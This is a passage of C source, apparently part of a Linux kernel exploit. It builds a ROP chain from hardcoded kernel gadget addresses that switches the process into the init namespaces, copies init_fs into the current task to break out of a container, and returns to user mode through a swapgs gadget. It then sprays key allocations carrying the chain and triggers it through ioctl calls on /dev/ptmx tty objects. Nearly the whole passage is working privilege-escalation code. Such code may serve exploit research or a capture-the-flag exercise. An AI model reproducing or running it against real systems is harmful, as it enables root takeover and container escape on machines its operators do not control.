354 *rop++ = KADDR(0xffffffff81a05e4b); // mov rdi, rax; rep movsq; (simple `mov rdi, rax` not found)
355 *rop++ = KADDR(0xffffffff819b21d3); // pop rsi
356 *rop++ = KADDR(0xffffffff8245a720); // &init_nsproxy
357 *rop++ = KADDR(0xffffffff810ea4e0); // switch_task_namespaces
358
359 *rop++ = KADDR(0xffffffff81906510); // pop rdi
360 *rop++ = KADDR(0xffffffff82589740); // &init_fs
361 *rop++ = KADDR(0xffffffff812e7350); // copy_fs_struct
362 *rop++ = KADDR(0xffffffff8131dab0); // push rax; pop rbx
363
364 *rop++ = KADDR(0xffffffff81906510); // pop rdi
365 *rop++ = getpid();
366 *rop++ = KADDR(0xffffffff810e4fc0); // find_task_by_vpid
367
368 *rop++ = KADDR(0xffffffff8117668f); // pop rdx
369 *rop++ = 0x6E0;
370 *rop++ = KADDR(0xffffffff81029e7d); // add rax, rdx
371 *rop++ = KADDR(0xffffffff817e1d6d); // mov qword [rax], rbx ; pop rbx ; ret ; (1 found)
372 *rop++ = 0; // trash
373
374
375 *rop++ = KADDR(0xffffffff81c00ef0 + 0x16); // swapgs_restore_regs_and_return_to_usermode + 0x16
376 // mov rdi,rsp; mov rsp,QWORD PTR gs:0x6004; push QWORD PTR [rdi+0x30]; ...
377 *rop++ = 0;
378 *rop++ = 0;
379 *rop++ = (ulong)NIRUGIRI;
380 *rop++ = user_cs;
381 *rop++ = user_rflags;
382 *rop++ = (ulong)krop_stack + KROP_USTACK_SIZE / 2;
383 *rop++ = user_ss;
384
385 printf("[+] size: 0x%lx\n", (ulong)rop - (ulong)key_payload);
386 assert((ulong)rop - (ulong)key_payload <= NUM_3RD_KEY_SIZE);
387 assert(512 < NUM_3RD_KEY_SIZE + 0x10 && NUM_3RD_KEY_SIZE + 0x10 < 1024);
388 for (int ix = 0; ix != NUM_3RD_KEY_SPRAY; ++ix) alloc_key(key_payload, NUM_3RD_KEY_SIZE + 0x10, NULL);
389 }
390
391 // Invoke tty_struct.ops.ioctl
392 puts("[+] ioctl-ing to /dev/ptmx");
393 for (int ix = 0; ix != NUM_TTY_SPRAY; ++ix) {
394 ioctl(tty_fd[ix], 0x1234567890, 0xABCDE0000);
395 }
396
397 // end of life (unreachable)
398 puts("[ ] END of life...");
399 //sleep(999999);
400}